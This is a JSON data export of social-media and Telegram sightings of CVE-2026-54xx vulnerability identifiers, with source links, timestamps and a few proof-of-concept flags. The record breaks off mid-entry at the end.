{"vulnerability": "2026-54", "sightings": [{"uuid": "41779fb6-e0d2-4ee5-8117-708253f25380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5420", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mika7lweka2q", "content": "", "creation_timestamp": "2026-04-02T22:15:52.850437Z"}, {"uuid": "be0d55ed-c1e8-417c-b35c-636e44109a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5429", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mikohmm4px2c", "content": "", "creation_timestamp": "2026-04-03T02:30:55.036861Z"}, {"uuid": "2bbf786c-a635-4146-a4e6-2462a08cef55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5452", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3miktizeafs2n", "content": "", "creation_timestamp": "2026-04-03T04:01:09.871796Z"}, {"uuid": "3358a57b-d558-441b-9304-9a4e2723f917", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mil25ysway2p", "content": "", "creation_timestamp": "2026-04-03T06:00:16.936353Z"}, {"uuid": "cee25236-6210-4ad9-b561-b7a51e66f480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mil26a6y7b27", "content": "", "creation_timestamp": "2026-04-03T06:00:26.426708Z"}, {"uuid": "4b3516f4-825f-486d-a1e5-b701ec8cfabf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5463", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116339246858412689", "content": "", "creation_timestamp": "2026-04-03T06:00:28.194173Z"}, {"uuid": "19d95a71-9f0c-4b4f-9238-14282a8a4b0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5463", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mil26fhffy2f", "content": "", "creation_timestamp": "2026-04-03T06:00:30.546779Z"}, {"uuid": "a09cd9aa-a783-429b-9c5a-9c7fbc656ac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mil2a4asyi2p", "content": "", "creation_timestamp": "2026-04-03T06:01:27.442179Z"}, {"uuid": "ddebda3d-b02d-4f6c-8808-88255ec39636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mil6fykjzs27", "content": "", "creation_timestamp": "2026-04-03T07:16:19.837964Z"}, {"uuid": "04302b67-cef8-4cd8-abe3-f80d73e2f927", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5462", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3milawjfgj424", "content": "", "creation_timestamp": "2026-04-03T08:01:21.632596Z"}, {"uuid": "e913191e-6e9e-43f2-a15a-3301bed36197", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5455", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3milbq3skqg2i", "content": "", "creation_timestamp": "2026-04-03T08:15:40.038288Z"}, {"uuid": "e5e14858-f4ef-4bc0-83d4-435fcd21a6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5457", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3milbz27ucn24", "content": "", "creation_timestamp": "2026-04-03T08:20:40.095648Z"}, {"uuid": "69d2ac50-0f2b-4a5d-a8b4-2e3601bfe1b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5458", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3milcbynbfi22", "content": "", "creation_timestamp": "2026-04-03T08:25:40.548393Z"}, {"uuid": "66eb87f4-1a7f-43dc-88d7-81a9d63c3405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5456", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3milckx2ssm2s", "content": "", "creation_timestamp": "2026-04-03T08:30:41.037962Z"}, {"uuid": "70141c4c-7961-4f18-87b4-7b900a9682a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5470", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim5nfywxa2i", "content": "", "creation_timestamp": "2026-04-03T16:35:14.781934Z"}, {"uuid": "32d7216c-d0d3-42ef-a7ad-8fdee6bd904d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5469", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mim726pmpr2i", "content": "", "creation_timestamp": "2026-04-03T17:00:16.790004Z"}, {"uuid": "2e726f64-6728-433d-9fce-f7761bc7e1ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5476", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mimjg3nusb22", "content": "", "creation_timestamp": "2026-04-03T20:05:53.752969Z"}, {"uuid": "a2828d60-c903-4c62-b112-6e6fa5543079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5475", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mimkjvcskj2z", "content": "", "creation_timestamp": "2026-04-03T20:25:55.193009Z"}, {"uuid": "042de15d-bd1b-4897-bf47-ce250d9b8d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5463", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3min7vlzkc322", "content": "", "creation_timestamp": "2026-04-04T02:48:16.562199Z"}, {"uuid": "7211f9ac-ef13-4a3b-8b5e-47e5e06bfcaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5485", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mindxbbi2t27", "content": "", "creation_timestamp": "2026-04-04T04:00:48.551237Z"}, {"uuid": "16426298-e578-4ca5-8766-d940ff5a1c43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5425", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mioacgoemc2s", "content": "", "creation_timestamp": "2026-04-04T12:28:07.260167Z"}, {"uuid": "5b641d6c-ce40-4ddd-b555-478c8946cb0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5425", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116350925393004904", "content": "", "creation_timestamp": "2026-04-05T07:30:28.544620Z"}, {"uuid": "836d21cb-8291-46fc-9c1f-9201f480c712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5425", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3miqa56fhdg2q", "content": "", "creation_timestamp": "2026-04-05T07:30:30.876849Z"}, {"uuid": "9651c6b0-bb4c-4edc-bd2f-e7d92a003c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5465", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mivcqtypg327", "content": "", "creation_timestamp": "2026-04-07T08:01:05.532293Z"}, {"uuid": "bd34a81f-c435-4e21-adbf-03c186f50470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5465", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mivi5ssztu2s", "content": "", "creation_timestamp": "2026-04-07T09:37:20.153279Z"}, {"uuid": "cdced74a-8edc-4057-afee-0e8b123da971", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5436", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mizf6qwkda23", "content": "", "creation_timestamp": "2026-04-08T22:54:49.377518Z"}, {"uuid": "831d8990-9e52-435f-bba9-87e13faeb4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5436", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj25lvboso2p", "content": "", "creation_timestamp": "2026-04-09T06:11:40.438862Z"}, {"uuid": "e9b70804-e434-463e-8013-08e34590f7cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5442", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3a5t24yy2j", "content": "", "creation_timestamp": "2026-04-09T16:30:08.763725Z"}, {"uuid": "2277eab4-ad4f-46cc-be7a-c053f0602cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5438", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3abnztba24", "content": "", "creation_timestamp": "2026-04-09T16:32:17.718494Z"}, {"uuid": "957d888b-965a-4f2f-b0be-fe055e619c75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5443", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3afshbpu27", "content": "", "creation_timestamp": "2026-04-09T16:34:36.436193Z"}, {"uuid": "2c224ec0-a4e7-4072-832e-ee9a6def292c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5441", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3akbtzvd2t", "content": "", "creation_timestamp": "2026-04-09T16:37:07.462138Z"}, {"uuid": "62d446e2-7f19-4400-ae80-cbee1a647cbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5439", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3b2jklkn25", "content": "", "creation_timestamp": "2026-04-09T16:46:11.832035Z"}, {"uuid": "dca8c579-8de2-4967-9a28-4841508fc0d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5445", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3biw46gf2z", "content": "", "creation_timestamp": "2026-04-09T16:54:14.724334Z"}, {"uuid": "69502ade-644d-4c98-b610-6d77350f8a90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5444", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3c2tcksx2q", "content": "", "creation_timestamp": "2026-04-09T17:04:15.708243Z"}, {"uuid": "7d1737e8-941d-411c-880b-80cb467c7e88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5437", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3cdrxerf2z", "content": "", "creation_timestamp": "2026-04-09T17:09:16.427500Z"}, {"uuid": "65a714d6-c9fc-4e56-8e83-5fb61a8d7be1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5440", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3cmqgvs622", "content": "", "creation_timestamp": "2026-04-09T17:14:16.725774Z"}, {"uuid": "69c4d4f7-da56-4f13-b282-e2b5760653d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5477", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj4nssm7jw2d", "content": "", "creation_timestamp": "2026-04-10T06:07:11.455508Z"}, {"uuid": "9439a588-dc47-4943-93af-cdc85921c5e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj5kkkmro32q", "content": "", "creation_timestamp": "2026-04-10T14:41:33.225164Z"}, {"uuid": "5b3f4f32-abc7-4c16-aeae-f2bfa2cfc4cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5437", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mj5o4taedu2u", "content": "", "creation_timestamp": "2026-04-10T15:45:27.728832Z"}, {"uuid": "7d41c98c-4040-49fe-9c27-1903d97e4ec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5445", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mj5o4taedu2u", "content": "", "creation_timestamp": "2026-04-10T15:45:27.823651Z"}, {"uuid": "119c0cdb-8e80-4bd3-ba50-6aeda14433a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mj5ocimfwb2k", "content": "", "creation_timestamp": "2026-04-10T15:48:37.397219Z"}, {"uuid": "0c38750f-36cc-49ac-af59-62288f43529d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5483", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116381783943440087", "content": "", "creation_timestamp": "2026-04-10T18:18:12.312965Z"}, {"uuid": "b25b498a-567f-42f4-a8ee-fac2c34915d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5483", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj5zypohjg2o", "content": "", "creation_timestamp": "2026-04-10T19:17:55.075307Z"}, {"uuid": "475a8d44-b4f3-4bdb-838f-c4397dd55b4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5496", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6rj6qhsw2m", "content": "", "creation_timestamp": "2026-04-11T02:18:43.169202Z"}, {"uuid": "9f4ee037-2516-473b-99a9-5a1751e44e46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5494", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6rnd52xj2m", "content": "", "creation_timestamp": "2026-04-11T02:21:01.540428Z"}, {"uuid": "3c97b5aa-3fb0-48d4-938d-7eb80db4c6dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5493", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6siqz2jb2w", "content": "", "creation_timestamp": "2026-04-11T02:36:22.075335Z"}, {"uuid": "fe86d03c-ca70-4c6b-88d7-037a8f596fdd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5495", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj6tuab6wz2o", "content": "", "creation_timestamp": "2026-04-11T03:00:41.026643Z"}, {"uuid": "dd767659-875b-41e1-8c25-f61458e158da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5425", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mj6vitrdxh26", "content": "", "creation_timestamp": "2026-04-11T03:30:06.352457Z"}, {"uuid": "5a78870e-b676-455b-a74d-7231af31b2a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5493", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj72mwyxfs2s", "content": "", "creation_timestamp": "2026-04-11T05:01:53.347419Z"}, {"uuid": "c2b07c8d-70dc-417b-bcfe-2604932fdf4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5494", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj72n5hvil2e", "content": "", "creation_timestamp": "2026-04-11T05:01:59.864299Z"}, {"uuid": "60ddb12b-d468-425b-98a5-8a27046ebfd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5495", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj72qekvsj2m", "content": "", "creation_timestamp": "2026-04-11T05:03:48.042106Z"}, {"uuid": "5c38e5e2-bd04-433e-9677-a69edbc7b1d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5496", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj72ql5utd2e", "content": "", "creation_timestamp": "2026-04-11T05:03:54.845251Z"}, {"uuid": "03ea9463-6596-4032-98c7-521f5586057d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5483", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mj7bhesh4w25", "content": "", "creation_timestamp": "2026-04-11T07:04:03.452797Z"}, {"uuid": "2e100d08-6cbc-4d91-a6b2-cd9a937dbd1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5412", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjbord6xzz2k", "content": "", "creation_timestamp": "2026-04-12T06:07:34.437578Z"}, {"uuid": "30052e01-f494-4293-958e-ac9ad3722594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjmymffdvg2t", "content": "", "creation_timestamp": "2026-04-16T18:04:10.027758Z"}, {"uuid": "e5637507-72e7-47af-a93c-3ecbae40d9f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5426", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116417104416675988", "content": "", "creation_timestamp": "2026-04-17T00:00:41.190629Z"}, {"uuid": "450096da-30e3-4df7-ba4c-e336423215a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5426", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mjnmlvw67525", "content": "", "creation_timestamp": "2026-04-17T00:00:42.440333Z"}, {"uuid": "78b655d2-37ab-4e42-ac87-f3509c9d38d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5427", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjobfqtiah2k", "content": "", "creation_timestamp": "2026-04-17T06:13:05.343443Z"}, {"uuid": "1f6b924c-40d4-495d-9bae-adcb929ee67b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5427", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjq3hp52oo2l", "content": "", "creation_timestamp": "2026-04-17T23:32:05.875796Z"}, {"uuid": "2df9b67d-2603-4e71-bffb-da7f6224d2e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5436", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mjtquldwoa2s", "content": "", "creation_timestamp": "2026-04-19T10:33:05.994296Z"}, {"uuid": "a663230b-2728-4b50-b455-992c3b509822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5478", "type": "seen", "source": "https://bsky.app/profile/hurayraiit.com/post/3mjweiuy63s2n", "content": "", "creation_timestamp": "2026-04-20T11:29:53.319212Z"}, {"uuid": "8447d6ad-adcc-44c7-85ed-c70e9d372b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5478", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjxcd233br2c", "content": "", "creation_timestamp": "2026-04-20T20:23:25.092183Z"}, {"uuid": "01391779-67a8-4469-9e1a-6b46afaed733", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5450", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjxj7fnnpm2q", "content": "", "creation_timestamp": "2026-04-20T22:26:38.055030Z"}, {"uuid": "39c55718-68a4-417a-87ce-cf8f2452c65f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5483", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mjzylgfk3f2f", "content": "", "creation_timestamp": "2026-04-21T22:07:07.257864Z"}, {"uuid": "c5a2f67e-cf82-4332-8783-38c260126893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5464", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mka7tvrujp2s", "content": "", "creation_timestamp": "2026-04-24T09:33:06.521299Z"}, {"uuid": "fb8b43ed-4e8e-4b52-93f7-229f98d7de9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5465", "type": "seen", "source": "https://t.me/GithubRedTeam/79257", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-5465\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-07 13:59:48\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-07T14:00:04.000000Z"}, {"uuid": "3e7a28f4-812b-4bd1-8f1f-122642ec3189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5465", "type": "published-proof-of-concept", "source": "Telegram/0sm8ATZ7rNPvlZx6vGLi3K-krzdNfmL8FWYus3NVMcNSJdo", "content": "", "creation_timestamp": "2026-04-07T15:00:16.000000Z"}, {"uuid": "fa7a425d-a2f1-4343-87f1-3581a616a8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5477", "type": "seen", "source": "Telegram/X_hYu_4mFc-5em62dyPX2z20yH7qSW9mAMzHMEdwTQTYW2M", "content": "", "creation_timestamp": "2026-04-10T07:17:18.000000Z"}, {"uuid": "82e86327-9633-4026-992b-ff2f874bfc55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5493", "type": "seen", "source": "Telegram/-uyrs94fGKBZTNu2mzMK-L-9Rc5lrbCygfSEFHI7W39_U14", "content": "", "creation_timestamp": "2026-04-11T03:21:49.000000Z"}, {"uuid": "fde826ac-b264-4e6a-82de-22cf442c47ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5495", "type": "seen", "source": "Telegram/-uyrs94fGKBZTNu2mzMK-L-9Rc5lrbCygfSEFHI7W39_U14", "content": "", "creation_timestamp": "2026-04-11T03:21:49.000000Z"}, {"uuid": "cb5e2cf9-b2be-47f4-8912-df6ddbfd9092", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5466", "type": "published-proof-of-concept", "source": "Telegram/1WdkdhXUJmGV7eP_rqgJjIpgxUFBJfkFq-ncP6HWfcjVt70", "content": "", "creation_timestamp": 